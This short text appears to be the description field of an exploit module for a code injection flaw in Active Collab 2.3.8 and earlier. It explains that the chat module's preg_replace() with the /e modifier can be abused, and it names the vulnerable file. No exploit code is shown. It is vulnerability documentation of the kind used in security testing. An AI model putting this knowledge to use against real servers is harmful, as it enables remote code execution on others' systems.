        This module exploits an arbitrary code injection vulnerability in the
        chat module that is part of Active Collab versions 2.3.8 and earlier by
        abusing a preg_replace() using the /e modifier and its replacement
        string using double quotes. The vulnerable function can be found in
        activecollab/application/modules/chat/functions/html_to_text.php.
